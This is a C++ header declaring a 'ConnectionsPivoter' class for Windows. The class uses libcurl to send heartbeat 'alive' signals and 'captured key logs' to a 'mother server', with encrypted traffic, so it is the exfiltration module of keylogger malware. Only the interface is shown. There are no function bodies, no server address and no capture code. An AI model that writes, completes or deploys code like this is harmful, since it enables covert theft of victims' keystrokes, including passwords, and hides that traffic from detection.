#ifndef CONNECTIONS_PIVOTER_H
#define CONNECTIONS_PIVOTER_H

#define CURL_STATICLIB

#include <iostream>
#include <string>
#include <vector>
#include <Windows.h>
#include <bcrypt.h>
#include <curl/curl.h>

#pragma comment (lib, "Normaliz.lib")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Wldap32.lib")
#pragma comment (lib, "Crypt32.lib")
#pragma comment (lib, "advapi32.lib")

class ConnectionsPivoter {
public:
	std::string url; 
	CURL* curl; 
	
	ConnectionsPivoter(std::string url); 
	ConnectionsPivoter();

	/// <summary>Update the url value</summary>
	/// <param name='new_url:'>New url value</param>
	void set_url(std::string new_url) {
		this->url = new_url; 
	};

	/// <summary>Send an alive signal to the mother server</summary>
	/// <returns>TRUE if successful</returns>
	BOOL send_alive_signal(); 

	/// <summary>Send the captured key logs to the mother server.</summary>
	/// <param name='codes:'>vector of key codes</param>
	/// <returns>TRUE if successful</returns>
	BOOL send_codes(std::vector<std::string> codes); 

	/// <summary>
	/// Encrypt the given data
	/// </summary>
	/// <param name='data:'>Data to encrypt</param>
	/// <returns>Encrypted data</returns>
	PBYTE encrypt_traffic(std::string data, size_t *output_length); 
private:

};

#endif